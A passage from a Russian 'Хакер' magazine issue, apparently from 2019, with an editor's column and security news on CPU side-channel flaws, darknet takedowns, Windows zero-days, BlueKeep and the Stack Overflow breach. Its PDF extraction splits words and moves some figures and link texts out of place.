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Зна ешь  ли  ты,  что  в  начале  2019  года
в  «Хакере»  сме нил ся  глав ный  редак тор?
Если  не  зна ешь,  зна чит,  все  идет  хорошо
и никаких  катак лизмов на изда ние я за это
вре мя не нав лек. Ура! Зато сей час впер вые
за  эти  пол года  у  меня  появи лась  воз‐ 
можность  нем ного  выдох нуть  и,  отор‐ 
вавшись от редак туры и раз гре бания поч ты,
показать ся на гла за читате лям.

Не удив люсь, если и имя пре дыду щего глав реда у тебя тоже не на слу ху, ведь
он пред почитал режим поч ти  что пол ного стел са и  тек сты, подоб ные это му,
писать  наот рез  отка зывал ся.  Илья  Русанен  руково дил  редак цией  с  кон‐ 
ца 2014 года, сме нив на этом пос ту Илью Илем битова. Оба они — выход цы
из  редак ции  Сте пы  Иль ина,  при  котором  «Хакер»  рас терял  остатки  былой
кис лотнос ти, пов зрос лел и стал замет но прис той нее.

Я же в 2013  году  уво лил ся из доживав шей пос ледние  годы «Компь ютер‐ 
ры», в онлай новом под разде лении которой про рабо тал шесть лет, и при нял‐ 
ся  пописы вать  ста тей ки,  потихонь ку  подыс кивая  новое  мес то  работы.
«Хакер»,  как и «Компь ютер ра», в сту ден ческие вре мена был моим любимым
чти вом,  поэто му  пос тучать ся  в  поч ту  Сте пе  в  поис ках  заказов  было  совер‐ 
шенно естес твен ным шагом.

Кста ти,  из  сво их  ста тей  в  «Хакере»  луч шими  я  счи таю  имен но  те  —
написан ные в 2013–2014 годах: смот ри, нап ример, « », «

»,  « »,  « »…  Эх,
хорошие были вре мена! Ког да еще я смо гу себе поз волить работать над тек‐ 
ста ми по две недели, ни на что не отвле каясь?

Freaks and Geeks Ис‐ 
торию  ARM Циф ровую  архе оло гию GUI,  которые  мы  потеря ли

Зас тупив на пост глав реда, Илья Русанен приг ласил меня на пос тоян ную
работу  —  сна чала  на  дол жность  редак тора  руб рик  PC  Zone  и  «Сце на»,
а потом — шеф‐редак тора, куриру юще го заод но темы номера и дру гие вещи
тут  и  там. При мер но  в  то  же  вре мя  он  рек рутиро вал  и  Алек сея  Глаз кова —
в качес тве выпус кающе го редак тора и прос то мас тера на все руки.

Собс твен но,  втро ем  с  Иль ей  и  Лешей  мы  и  при дума ли,  как  прев ратить
куль товый  бумаж ный  жур нал  «Хакер»  в  кон тен тный  сайт  с  под писной
моделью. Не ска зать, что у нас был выбор. Вла делец и осно ватель изда тель‐ 
ско го дома GameLand Дима Ага рунов пос тавил нас перед фак том: «бумага»
боль ше не оку пает ся и будет зак рыта, выживать за счет рек ламы — не вари‐ 
ант  (рек ламный  рынок  тог да  как  раз  схлоп нулся  в  честь  финан сового  кри‐ 
зиса), и мы будем про давать под писку на элек трон ную вер сию. Не сра бота‐ 
ет — зна чит, не судь ба.

Ска зать,  что  бумаж ный  жур нал  было  жаль,  —  не  ска зать  ничего,  да  и
в  успех  элек трон ного  рас простра нения  у  нас  ник то  (кро ме  Димы)  тог да
не верил. Но горевать нам было неког да: нуж но было сроч но обновлять сайт
и на ходу при думы вать новую схе му работы, которая поз волила бы сов мещать
ежед невные пуб ликации с верс ткой PDF и под готов кой вер сии для iPad.

На до  ска зать,  что  и  читате ли  сна чала  с  недове рием  вос при няли  идею
циф рового рас простра нения по под писке. Все же дос туп к плат ным матери‐ 
алам сай та — не то же, что глян цевый жур нал, хоть и име ет свои плю сы. Все
это нам хорошо извес тно. Поэто му мы попыта лись при ложить все силы, что‐ 
бы сох ранить то, за что читате лям полюбил ся «Хакер», но прис пособить эти
вещи к циф ровым реалиям.

И  вот  через  четыре  с  полови ной  года,  нес мотря  на  все  опа сения,  полет
по‐преж нему  нор маль ный.  И  зас луга  это  не  толь ко  наша,  но  и  читате лей,
которые  решили  под держать  нас  руб лем  и  офор мить  под писку.  Огромное
вам  спа сибо  за  это!  Как  бы  баналь но  это  ни  зву чало,  без  вас  никако го
«Хакера» бы не было. Имен но бла года ря вашей под дер жке мы про дол жаем
делать те статьи, которые вы чита ете, и пла тить авто рам за их труд.

Из менит ся ли что‐то в «Хакере» со мной в качес тве глав реда? Пос мотрим!
С  некото рым  сожале нием  приз наюсь,  что  пока  не  делал  ничего  такого,  что
мне рань ше зап рещал бы делать Илья, — нап ример, писать в стать ях сло во
«тра хать ся». Упс!

А если серь езно, то, пока мы работа ем, обя затель но будут и новые вещи.
Ты, нап ример, мог заметить, что рядом с тво им име нем на сай те появи лась
какая‐то  загадоч ная  циф ра.  Это  зарабо тала  сис тема  ско рин га,  которую мы
сей час  тес тиру ем. Она  оце нива ет  дей ствия  поль зовате лей  на  сай те  и  под‐ 
счи тыва ет  рей тинг  в  зависи мос ти  от  сте пени  их  активнос ти.  Как  толь ко
додела ем — будет чуть более офи циаль ный анонс с под робнос тями.

Я же пла нирую вер нуть ся с ана логич ной колон кой через месяц и рас ска‐ 
зать еще что‐нибудь о том, чем живет редак ция «Хакера». А потом еще через
месяц. И еще. Думаю, ты понял идею! :‐)
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RIDL, FALLOUT 
И ZOMBIELOAD
За пол тора года, про шед шие с момен та обна руже ния ори гиналь ных проб лем
Meltdown и Spectre,  было  най дено  немало  «смеж ных»  уяз вимос тей,  работа‐ 
ющих похожим обра зом, свя зан ных с ата ками по сто рон ним каналам и спе‐ 
куля тив ными вычис лени ями.

В  середи не  мая  уче ные  рас кры ли  детали  нового  клас са  уяз вимос тей
в про цес сорах ком пании Intel — Microarchitectural Data Sampling (MDS). Рав но
как  и  уяз вимос ти  Spectre  и  Meltdown,  новые  баги  свя заны  с  упрежда ющим
(или  спе куля тив ным —  speculative)  механиз мом  исполне ния  команд. Иссле‐ 
дова тели  выдели ли  четыре  уяз вимос ти  и  три  груп пы  проб лем:  RIDL,  Fallout
и ZombieLoad. Уяз вимос ти получи ли сле дующие иден тифика торы и наз вания
(ука зыва ют, на какой имен но ком понент про цес сора нап равле на ата ка):

CVE‐2018‐12126 — Microarchitectural Store Buffer Data Sampling (MSBDS);•
CVE‐2018‐12130 — Microarchitectural Fill Buffer Data Sampling (MFBDS);•
CVE‐2018‐12127 — Microarchitectural Load Port Data Sampling (MLPDS);•
CVE‐2019‐11091  —  Microarchitectural  Data  Sampling  Uncacheable  Memory
(MDSUM).

•

Все  эти  баги  поз воля ют  ата кующе му  похищать  пароли,  крип тогра фичес кие
клю чи  и  про чие  лич ные  дан ные,  заг ружен ные  или  хра нящи еся  в  памяти
буферов  про цес сора. По  дан ным  экспер тов,  перед  эти ми  проб лемами  уяз‐ 
вимы все про цес соры Intel, выпущен ные пос ле 2008–2011 годов. Спи сок всех
уяз вимых про цес соров мож но уви деть  .здесь

На ибо лее опас ной из новых уяз вимос тей счи тает ся ZombieLoad, поз воля‐ 
ющая  зло умыш ленни ку  получить дос туп  к боль шему  количес тву дан ных.  Так,
в одном из показан ных иссле дова теля ми при меров уяз вимость исполь зует ся
для  монито рин га  того,  какие  сай ты  посеща ет  поль зователь,  работа ющий
на  вир туаль ной  машине  через  Tor  Browser.  То  есть  ZombieLoad  помога ет
эффектив но обхо дить все защит ные механиз мы меж ду при ложе ниями.

Ис прав ление  RIDL,  Fallout  и  ZombieLoad  пот ребу ет  не  толь ко  пат чей
на  уров не  соф та,  но  и  обновле ния  мик рокодов  про цес соров.  Но  есть
и хорошие новос ти. Во‐пер вых, опи сан ные иссле дова теля ми ата ки неопас ны
для  новей ших  поколе ний  про цес соров  Intel.  Во‐вто рых,  на  этот  раз  пуб‐ 
ликация информа ции о проб лемах не зас тала  Intel и дру гих про изво дите лей
врас плох.  Инже неры  Intel  уже  под готови ли  мик рокоды,  а  про изво дите ли
ПО пат чи.

К  тому  же  в  офи циаль ном  заяв лении  пред ста вите ли  Intel  отме чают,  что
ата ки на уяз вимость ZombieLoad и две дру гие проб лемы вряд ли будут воз‐ 
можны  в  реаль ной  жиз ни  из‐за  целого  ряда  соп ряжен ных  с  экс плу ата цией
слож ностей.

Ком пания  AMD,  в  свою  оче редь,  офи циаль но  под твер дила  то,  о  чем
писали  иссле дова тели:  про цес соры  ком пании  не  под верже ны  новым  проб‐ 
лемам. Дело  в  том,  что  уяз вимос ти  так же  тес но  свя заны  с  исполь зовани ем
тех нологии  гипер поточ ности  (Hyper‐Threading),  соз данной  ком пани ей  Intel
для собс твен ных сво их про дук тов. AMD это, по понят ным при чинам, не каса‐ 
ется.

Так же уже были опуб ликова ны инте рес ные дан ные о веро ятном сни жении
про изво дитель нос ти  про цес соров  пос ле  уста нов ки  пат чей.  Пред ста вите ли
Intel  уве ряют,  что  про изво дитель ность  про цес соров  может  сни зить ся  ори‐ 
енти ровоч но  на  10%,  но  в  то  же  вре мя  ком пания  Apple  писала  о  веро‐ 
ятных 40%.

В ито ге экспер ты Phoronix про вели собс твен ное незави симое тес тирова‐ 
ние, про верив, как пат чи для MDS‐уяз вимос тей, а так же для проб лем Spectre,
Meltdown  и  L1TF  ска зыва ются  на  про изво дитель нос ти  раз личных  сис тем.
Резуль таты  тес тов  выг лядят  удру чающе:  в  сред нем  про цес соры  Intel  теря ют
в про изво дитель нос ти 16% без отклю чения Hyper‐Threading и все 25%, если
Hyper‐Threading отклю чен. При этом про цес соры AMD, которые тоже уяз вимы
перед  частью  side‐channel‐атак,  пос ле  уста нов ки  обновле ний  теря ют
лишь 3% сво ей про изво дитель нос ти.

 ДОЛ ЛАРОВ ОТМЫЛ BESTMIXER.IO200 000 000
Сер вис Bestmixer.io, пред лагав ший свои услу ги по отмы ванию Bitcoin, Bitcoin cash и Litecoin,
был зак рыт пра воох ранитель ными орга нами Нидер ландов, Люк сембур га и Евро полом.

Опе рато ры сай та очень деталь но опи сыва ли, зачем кому‐либо могут понадо бить ся их услу ги,
отме чая в рек ламе, что борь ба с отмы вани ем денег — дело нешуточ ное, а их сер вис поможет
сде лать средс тва «чис тыми», ано ним ными и неот сле жива емы ми.

За год работы через сайт прош ло при мер но  , то есть поряд ка   дол‐ 
ларов США, а его опе рато ры получа ли око ло   дол ларов в месяц.

27 000 BTC 200 000 000
600 000

В резуль тате про веден ной спе цопе рации в руках пред ста вите лей Нидер ланд ско го управле ния
по  прес ледова нию  финан совых  прес тупле ний  ока залась  информа ция  обо  всех  тран закци ях
Bestmixer со вре мени соз дания ресур са ( ,  , 
и  ). Теперь пра воох раните ли намере ны изу чить эти дан ные и поделить‐ 
ся ими с кол легами из дру гих стран.

IP-адре са де тали тран закций bitcoin-адре са
со обще ния из чатов

МАРКЕТПЛЕЙСЫ
ДАРКНЕТА
В этом месяце пра воох раните ли зак рыли сра зу нес коль ко круп ных ресур сов
в дар кне те и сай тов, кос венно свя зан ных с незакон ной деятель ностью.

Wall Street Market и Valhalla
В  кон це  апре ля  мы  уже    о  край не  нес покой ной  обста нов ке,
воцарив шей ся на популяр ной в дар кне те тор говой пло щад ке Wall Street Mar‐
ket  (WSM).  Напом ню,  что  адми нис тра ция  мар кет плей са,  похоже,  прис воила
десят ки  мил лионов  дол ларов,  при над лежав ших  кли ентам,  и  скры лась,  а  на
WSM воцарил ся нас тоящий хаос, хотя сайт еще про дол жал работу.

рас ска зыва ли

Те перь пра воох ранитель ные орга ны Гер мании, Нидер ландов, США, Фин‐ 
ляндии, Фран ции, а  так же пред ста вите ли Евро пола сооб щили о лик видации
сра зу  двух  мар кет плей сов: Wall  Street Market  и  Valhalla  (он  же  Silkkitie),  зак‐ 
рытого в начале года.

Офи циаль ное  заяв ление  гла сит,  что  в  кон це  апре ля  текуще го  года
Генераль ная  про кура тура Фран кфур та‐на‐Май не  и федераль ное  ведомс тво
уго лов ной  полиции  Гер мании  (при  под дер жке  Евро пола,  Евро юста,  а  так же
кол лег из Нидер ландов и раз личных ведомств США) арес товали трех неназ‐ 
ванных подоз рева емых, свя зан ных с Wall Street Market, а вмес те с этим в США
были  задер жаны  два  круп ней ших  про дав ца  нар котиков,  исполь зовав ших
WSM.

По информа ции следс твия, на WSM в общей слож ности было зарегис три‐ 
рова но более 1 150 000 поль зовате лей и 5400 про дав цов и мар кет плейс был
вто рой по величи не под поль ной тор говой пло щад кой в мире.

Во  вре мя  обыс ков  у  пред полага емых  опе рато ров  WSM  наш ли
более 550 000 евро налич ными, а так же шес тизнач ные сум мы в крип товалю‐ 
тах Bitcoin и Monero, нес коль ко авто моби лей и огнес трель ное ору жие. Кро ме
того,  были  обна руже ны  и  дру гие  ули ки,  вклю чая  компь юте ры  и  накопи тели
дан ных.

Фин ские влас ти, в свою оче редь, сооб щили об изъ ятии сер веров мар кет‐ 
плей са Valhalla и зна читель ного количес тва крип товалю ты, одна ко они не про‐ 
изво дили арес тов.

Ин терес но,  что  в  кон це  апре ля  один  из  быв ших  модера торов Wall  Street
Market, Med3l1n, опуб ликовал в откры том дос тупе свои учет ные дан ные и IP‐
адрес WSM (судя по этим дан ным, сайт хос тился в Гол ландии). Так что любой
жела ющий,  вклю чая  пред ста вите лей  пра воох ранитель ных  орга нов,  мог
получить пол ный дос туп к бэкен ду тор говой пло щад ки и деано ними зиро вать
про дав цов и покупа телей.

Спус тя шесть дней пос ле это го ресурс начал работать с перебо ями, а еще
через два дня ушел в офлайн окон чатель но, и пра воох раните ли офи циаль но
заяви ли о про веде нии опе рации по его зак рытию. Не сов сем ясно, были ли
эти  два  события  свя заны  друг  с  дру гом.  Так же  пока  мож но  толь ко  гадать,
успе ли адми нис тра торы Wall  Street Market  скрыть ся  с  день гами поль зовате‐ 
лей  или  экзит‐скам  все  же  завер шился  арес том,  а  WSM  какое‐то  вре мя
находил ся под кон тро лем пра воох раните лей.

DeepDotWeb
ФБР,  Евро пол,  а  так же  пра воох ранитель ные  орга ны  Гер мании,  Изра иля,
Нидер ландов и Бра зилии про вели еще одну сов мес тную опе рацию, в резуль‐ 
тате которой был зак рыт сайт DeepDotWeb, рас ска зывав ший о новос тях дар‐ 
кне та и катало гизи ровав ший ресур сы «изнанки интерне та».

Этот «путево дитель по дар кне ту» навер няка зна ком нашим читате лям: он
обновлял ся ежед невно, опе ратив но сооб щал о зак рытии тех или иных ресур‐ 
сов,  их  новых  адре сах,  экзит‐ска ме,  рас ска зывал  о  дру гих  проб лемах  тор‐ 
говых пло щадок.

В  Изра иле,  по  дан ным  мес тных  СМИ,  были  арес тованы  два  опе рато ра
DeepDotWeb. Дру гие арес ты так же были про изве дены в Гер мании, Фран ции,
Нидер ландах и Бра зилии.

Од нако  дело,  конеч но,  было  не  в  новос тях.  Следс твие  утвер жда ет,  что
опе рато ры  DeepDotWeb  получа ли  комис сию  за  перенап равле ние  тра фика
на  нелегаль ные  сай ты  в  дар кне те.  В  катало ге  DeepDotWeb  сво бод но  пуб‐ 
ликова лись ссыл ки на любые ресур сы, вклю чая тор говые пло щад ки в дар кне‐ 
те,  где  про дают  и  покупа ют  ору жие,  нар котики,  мал варь,  ворован ную
информа цию, пор ногра фию и мно гое дру гое. Впро чем, пока пра воох раните‐ 
ли  не  кон кре тизи руют,  о  какой  имен но  «комис сии»  и  в  каком  раз мере  идет
речь. По дан ным жур налис тов TechCrunch, адми нис тра ция сай та зараба тыва‐ 
ла на сво ем катало ге .onion‐ссы лок мил лионы дол ларов.

ХАК ТИВИЗМ ЗАКОН ЧИЛСЯ?
Спе циалис ты IBM X‐Force опуб ликова ли иссле дова ние, пос вящен ное кра ху хак тивист ско го дви‐ 
жения, про изо шед шему в пос ледние годы. Иссле дова тели пишут, что хак тивизм вряд ли окон‐ 
чатель но «мертв», одна ко пока опре делен но находит ся в упад ке. Изме нения порож дены дву мя
основны ми фак торами:  ,  а  так же  прис таль ным 

.
«смертью» Anonymous вни мани ем  со  сто‐ 

роны пра воох ранитель ных орга нов

Уро вень активнос ти  хак тивис тов сни зил ся на    по  срав нению с 2015  годом. В 2015  году
было  зафик сирова но    подоб ных  инци ден тов,  но  уже  в  2017  году  обна ружи ли  все го  ,
в 2018 году  , а в пер вые месяцы текуще го года и вов се ни одно го.

95%
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Ха кер ский кол лектив Anonymous ранее был ответс тве нен при мер но за   всех атак хак тивис‐ 
тов,  то  есть  дер жался  с  огромным  отры вом  от  бли жай ших  кон курен тов  в  лице  групп  Lizard
Squad и DownSec.

45%

Без  лидера  и  еди ной  иде оло гии  в  ста не  Anonymous  воцарил ся  нас тоящий  хаос,  а  дви жение
ока залось  рас колото  на  мно жес тво  мел ких  под групп,  чьи  ата ки  были  порой  неэф фектив ны,
при чиня ли вред невин ным людям и вызыва ли толь ко през рение и нас мешки. Так же с 2011 года
в США, Великоб ритании и Тур ции арес товали по мень шей мере   (и это толь ко
те арес ты, о которых извес тно широкой общес твен ности).

62 хак тивис та

НОВЫЕ ЭКСПЛОИТЫ
SANDBOXESCAPER
Не зави симая ИБ‐спе циалис тка, извес тная под псев донимом SandboxEscap‐
er,  обна родо вала  новую  пор цию  PoC‐экс пло итов  для  еще  не  исправ ленных
уяз вимос тей в Windows.

Нуж но отме тить, что это далеко не пер вый раз, ког да иссле дова тель ница
пуб лику ет  экс пло иты  для  све жих  проб лем  в Windows,  не  дожида ясь  выхода
исправ лений. Нап ример, пер вый 0day иссле дова тель ница    в  кон це
лета  2018  года,  о  вто рой  проб леме  нулево го  дня  она    в  кон це
октября 2018 года, а в декаб ре   уже тре тий PoC.

рас кры ла
со общи ла

об народо вала
На  этот  раз  SandboxEscaper  начала  с  рас ска за  о  проб леме  локаль ного

повыше ния при виле гий в Windows 10, которая не поз волит ата кующе му про‐ 
ник нуть в сис тему, но поз волит зак репить ся в ней и раз вить уже начатую ата ку
далее.  Проб лема  свя зана  с  работой  пла ниров щика  заданий  (Windows  Task
Scheduler):  зло умыш ленник  может  запус тить  вре донос ный  файл  .job  и  при
помощи бага внес ти изме нения в DACL (discretionary access control list).

Proof‐of‐concept  экс пло ит,  про тес тирован ный  на  32‐раз рядной  вер сии
Windows 10, был опуб ликован  . При этом иссле дова тель ница утвер‐ 
жда ет, что проб лема так же акту аль на и для более ста рых вер сий ОС, вплоть
до Windows XP и Server 2003.

на GitHub

Вско ре пос ле пер вой пуб ликации SandboxEscaper рас кры ла информа цию
еще о двух уяз вимос тях, так же выложив экс пло иты для них в откры тый дос туп.

Еще одна проб лема свя зана с сер висом Windows Error Reporting и получи‐ 
ла  наз вание  .  Этот  баг  пред став ляет  собой  локаль ное
повыше ние  при виле гий  и  очень  похож  на  проб лему  AngryPolarBearBug,
которую спе циалис тка опи сыва ла еще в декаб ре прош лого года. Фак тичес ки
с его помощью ата кующий может получить дос туп к редак тирова нию фай лов,
которо го он в нор маль ных обсто ятель ствах иметь не дол жен. SandboxEscaper
отме чает,  что вос поль зовать ся этой уяз вимостью будет нелег ко,  так  как для
экс плу ата ции бага может пот ребовать ся более пят надца ти минут.

AngryPolarBearBug2

Проб лема  AngryPolarBearBug2 —  это  не  уяз вимость  нулево го  дня.  Спе‐ 
циалис ты  Palo  Alto  Networks  замети ли,  что  PoC  иссле дова тель ницы  —
это  фак тичес ки  экс пло ит  для  уяз вимос ти  CVE‐2019‐0863,  которая  была
исправ лена инже нера ми Microsoft  в мае  текуще го  года. Сто ит заметить,  что
к  момен ту  выхода  пат ча  проб лема  CVE‐2019‐0863  уже  активно  исполь‐ 
зовалась зло умыш ленни ками.

Третья  проб лема  зат рагива ет  бра узер  .  Этот  баг  поз‐ 
воля ет  инжекти ровать  вре донос ный  код  в  IE,  одна ко  его  не  вый дет  исполь‐ 
зовать уда лен но, что сущес твен но сни жает опас ность проб лемы.

Internet  Explorer  11

Но на этом SandboxEscaper не оста нови лась. На сле дующий же день спе‐ 
циалис тка  про дол жила  пуб ликацию  экс пло итов  и  рас кры ла  информа цию
еще о двух багах нулево го дня.

  поз воля ет  обой ти  пат чи  для  уяз вимос ти  CVE‐2019‐
0841, которую инже неры Microsoft испра вили в апре ле 2019 года. Дан ная уяз‐ 
вимость свя зана с Windows AppX Deployment Service  (AppXSVC) и поз воля ет
локаль но повысить при виле гии в сис теме.

Чет вертая  проб лема

 свя зана с Windows  Installer  (C:\Windows\Installer). Sand‐
boxEscaper  пишет,  что  в  корот кий  отре зок  вре мени  из‐за  сос тояния  гон ки
мож но  вме шать ся  в  про цесс  уста нов ки  при ложе ния  Windows  и  помес тить
фай лы  в  недоз волен ные  области  ОС.  Баг  экс плу ати рует  фун кци ональ ность

  (исполь зует ся  для  устра нения  оши бок  уста нов ки)  и  поз воля ет
зло умыш ленни ку  помес тить  мал варь  в  про изволь ное  мес то,  тем  самым
повысив  свои  пра ва.  То  есть  дан ная  уяз вимость  тоже  свя зана  с  локаль ным
повыше нием при виле гий.

Пя тая уяз вимость

msiexec /fa

Пред ста вите ли Microsoft пока никак не отре аги рова ли на пуб ликацию всех
этих  экс пло итов.  Учи тывая,  что  ни  одна  проб лема  не  допус кает  уда лен ного
исполне ния  про изволь ного  кода,  мож но  пред положить,  что  пат чи  вый дут
не рань ше сле дующе го «втор ника обновле ний».

НА БИУЛ ЛИНА ПРО ТИВ ВНЕД РЕНИЯ КРИП ТОВАЛЮТ
Выс тупая в Гос думе, гла ва ЦБ РФ выс казалась про тив внед рения крип товалют в денеж ную сис‐ 
тему.

→ «Мы, в прин ципе, конеч но, про тив того, что бы крип товалю ты запус кались в нашу денеж ную
сис тему. Мы не видим этой воз можнос ти, что бы крип товалю ты, по сути дела, выпол няли здесь
фун кцию денеж ных сур рогатов. В этой час ти точ но нет.

Что каса ется вза имо рас четов, то мы рас смот рим, конеч но, пред ложение по тому, что такое
крип товалю та,  при вязан ная  к  золоту.  Но,  на  мой  взгляд,  важ нее  раз вивать  рас четы  в  наци‐ 
ональ ных валютах»
— цитата из речи Эль виры Наби улли ной

ПОТЕНЦИАЛЬНЫЙ
ЧЕРВЬ
В  рам ках  май ско го  «втор ника  обновле ний»  ком пания  Microsoft  испра вила
кри тичес кую  уяз вимость  CVE‐2019‐0708  (она  же  BlueKeep),  свя зан ную
с работой Remote Desktop Services (RDS) и RDP.

Хо тя  тех ничес кие  детали  проб лемы  не  рас кры вают ся  из‐за  ее  высокой
серь езности,  извес тно,  что  с  помощью  это го  бага  ата кующие могут  выпол‐ 
нять  про изволь ный  код  без  авто риза ции  и  рас простра нять  свою  мал варь
подоб но  чер вю,  как,  нап ример,  было  с  извес тны ми  вре доно сами WannaCry
и NotPetya. Проб лема опас на для Windows Server  2008, Windows 7, Windows
2003 и Windows XP, для которых были выпуще ны  .об новле ния безопас ности

Для проб лемы, которая может стать вто рым WannaCry, уже были 
,  их  про демонс три рова ли  спе циалис ты  сра зу  нес коль ких

ИБ‐ком паний  (вклю чая  McAfee,  Check  Point  и  «Лабора торию  Кас пер ско го»)
и незави симые иссле дова тели. Пока код этих экс пло итов не был опуб ликован
в откры том дос тупе из‐за слиш ком высоко го рис ка.

соз даны
PoC‐экс пло иты

Спе циалис ты NCC Group, в свою оче редь, пред ста вили спе циаль ный 
  для  BlueKeep,  а  ана лити ки  RiskSense  раз работа ли 

, с помощью которо го мож но про верить на уяз вимость
перед BlueKeep весь парк кор поратив ных машин.

за‐ 
щит ный  мик ропатч спе‐ 
циаль ный инс тру мент

Нуж но  ска зать,  что  ИБ‐экспер ты  бьют  тре вогу  сов сем  не  зря.  Так,  спе‐ 
циалис ты  ком пании GreyNoise  уже  ,  что неиз вес тные активно
ска ниру ют интернет в поис ках уяз вимых сис тем. Ата кующие, похоже, исполь‐ 
зуют для ска нов модуль Metasploit, раз работан ный экспер тами RiskSense.

за фик сирова ли

Ак тивность  ата кующих  исхо дит  исклю читель но  с  выход ных  нод  Tor,  и,
похоже,  все  это  деятель ность  все го  одной  хакер ской  груп пы.  Экспер ты
не  обна ружи ли  попыток  экс плу ата ции  уяз вимос ти:  хакеры  пока  лишь  ищут
уяз вимые  сис темы,  но  не  пыта ются  их  ломать.  По  мне нию  экспер тов
GreyNoise,  это  опре делен но  под готови тель ный  этап  перед  пос леду ющи ми
ата ками и ситу ация ухуд шает ся.

Из началь но  пред полага лось,  что  BlueKeep  пред став ляет  угро зу
для  7,6  мил лиона  сис тем,  но  теперь  ана лити ки  заяв ляют,  что  это  не  так.
По ста тис тике ком пании Errata Security, уяз вимость по‐преж нему опас на лишь
для 950 тысяч сис тем. Ока залось, что порт 3389, откры тый на мно гих устрой‐ 
ствах, дезори енти ровал спе циалис тов ранее: боль шинс тво этих машин вооб‐ 
ще не работа ют на Windows или не исполь зуют RDP на этом пор те, а зна чит,
уяз вимость CVE‐2019‐0708 им не угро жает.

При  этом  в  Errata  Security  ожи дают,  что  хакеры  напишут  экс пло иты
для BlueKeep в бли жай ший месяц или два, а затем неп ропат ченные сис темы,
уяз вимые перед проб лемой, ждет вол на атак и нас тоящий хаос.

CHROME 76: НАЧАЛО КОН ЦА FLASH

Пос ле  релиза  июнь ско го  выпус ка    раз работ чики  Google  пла ниру ют  окон чатель но
отка зать ся  от  вос про изве дения  Flash‐кон тента  по  умол чанию.  Дан ные  изме нения  уже  вош ли
в экспе римен таль ную вет ку Сanary, на базе которой будет пос тро ен Chrome 76.

Chrome 76

По ка  под дер жку  Flash  мож но  будет  вер нуть  в  нас трой ках,  но  в  ,  пос ле
релиза  , под дер жка Flash будет прек ращена сов сем. Напом ню, что, сог ласно заяв‐ 
лению Adobe, на это вре мя зап ланиро вана окон чатель ная «смерть» тех нологии.

де каб ре  2020  года
Chrome 87

Раз работ чики  Firefox  тоже  собира ются  отклю чить  Flash  по  умол чанию.  Эти  изме нения  зап‐ 
ланиро ваны на    года и  выпуск  ,  хотя  поль зовате ли  так  же  смо гут
вновь вклю чить под дер жку тех нологии до 2020 года.

сен тябрь 2019 Firefox 69

ВЗЛОМ STACK
OVERFLOW
В середи не мая пред ста вите ли Stack Overflow, круп ней шего в интерне те сай‐ 
та воп росов и отве тов о прог рамми рова нии, сооб щили о кибера таке на свой
ресурс.

Как  говорит ся  в  крат ком  заяв лении,  опуб ликован ном  на  сай те  про екта,
11 мая 2019 года было обна руже но, что неиз вес тные лица сумели про ник нуть
во внут реннюю сеть ком пании. Пос коль ку на момент пуб ликации это го сооб‐ 
щения  рас сле дова ние  инци ден та  толь ко  началось,  никаких  под робнос тей
об  ата ке  извес тно  не  было.  Сооб щалось,  что  раз работ чики  опе ратив но
устра няют  все  исполь зован ные  зло умыш ленни ками  уяз вимос ти  и  раз бира‐ 
ются в про изо шед шем.

17 мая ком пания обно вила свое заяв ление, выпус тив более раз верну тый
отчет  об  инци ден те.  Раз работ чики  сооб щили,  что  неиз вес тные  зло умыш‐ 
ленни ки все же мог ли получить дос туп к поль зователь ским дан ным, хотя изна‐ 
чаль но пред полага лось, что это не так. Хотя общая база дан ных поль зовате‐ 
лей не была ском про мети рова на, ата кующие мог ли узнать  IP‐адре са, име на
или email‐адре са неболь шого чис ла поль зовате лей Stack Exchange.

В  нас тоящее  вре мя  пред ста вите ли  Stack  Overflow  про дол жают  изу чать
логи и раз бирать ся с дей стви ями хакеров. На дан ный момент точ но извес тно
все го  о  250  ском про мети рован ных  поль зовате лях.  Всех  пос тра дав ших  уже
адресно уве доми ли о слу чив шемся.

Кро ме того, раз работ чики уточ нили, что про ник новение в сеть про изош ло
еще 5 мая, через уяз вимость на stackoverflow.com. То есть зло умыш ленни ки
оста вались  в  сис теме  поч ти  неделю  и  про води ли  раз ведку  и  лишь  потом
начали  дей ство вать,  повысив  свои  при виле гии,  что  и  было  замече но  адми‐ 
нис тра цией ресур са.

В нас тоящее вре мя Stack Overflow сот рудни чает со сто рон ней кибер кри‐ 
мина лис тичес кой  ком пани ей  и  про дол жает  рас сле дова ние  инци ден та.  Дос‐ 
туп  зло умыш ленни ка  уже  был  отоз ван,  уяз вимос ти  устра нены,  а  так же  ком‐ 
пания про дол жает  тща тель ный внут ренний аудит сво его прог рам мно го ком‐ 
плек са и про водит ряд мероп риятий для улуч шения сис тем защиты.

На пом ню,  что  это  не  пер вый  гром кий  взлом  сай та  воп росов  и  отве тов.
В 2018 году ста ло извес тно об ата ке на Quora, в резуль тате которой пос тра‐ 
дало более 100 мил лионов поль зовате лей.

СТА РЫЕ БАГИ
Эк спер ты ком пании Fidelis Cybersecurity изу чили уяз вимос ти, наибо лее популяр ные у зло умыш‐ 
ленни ков в пер вом квар тале 2019 года. Хотя «цен ность» уяз вимос тей стре митель но сни жает ся
сра зу же пос ле пуб ликации пат чей для них, зло умыш ленни ки не отка зыва ются от экс плу ата ции
багов так быс тро и про дол жают исполь зовать их до тех пор, пока это поз воля ет взло мать хоть
сколь ко‐нибудь сто ящие цели.

Око ло    всех  обна ружен ных  в  пер вом  квар тале  проб лем  (экс пло иты,  уяз вимос ти, мал варь)
ока зались датиро ваны 2017 годом и ранее.

1/3

Са мыми активны ми вре доно сами были наз ваны   (Houdini) и   — два тро яна уда‐ 
лен ного дос тупа (RAT), сущес тву ющие как минимум с  .

H-W0rm njRAT
2012 года

  всех  попыток  ком про мета ции  (более    рас сле дован ных  инци ден тов)  были  свя‐ 
заны с уяз вимос тями   и даже стар ше.
27% 550  000

2017 года
В ито ге пятер ка наибо лее экс плу ати руемых проб лем выг лядит сле дующим обра зом:

 — RCE‐баг Composite Moniker, экс пло ит дос тупен пуб лично;CVE-2017-8570

  —  проб лема,  зат рагива ющая  SMBv1,  экс пло ит  опуб ликован  груп пой  Shadow
Brokers (Eternal Synergy);
CVE-2017-0143

 — RCE‐уяз вимость в Apache Struts, экс пло ит дос тупен пуб лично;CVE-2018-11776

 — RCE‐уяз вимость в Microsoft Office, экс пло ит дос тупен пуб лично;CVE-2017-11882

  — RCE‐уяз вимость  в Microsoft  Excel/Word,  задей ство ван ная  в  опе рации Red
October, экс пло ит дос тупен пуб лично.
CVE-2009-3129
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КРИПТА
НА 41 МИЛЛИОН
В  ночь  с  7  на  8  мая  2019  года  пред ста вите ли  одной  из  круп ней ших  крип‐ 
товалют ных бирж в мире — Binance сооб щили, что ресурс пос тра дал от мас‐ 
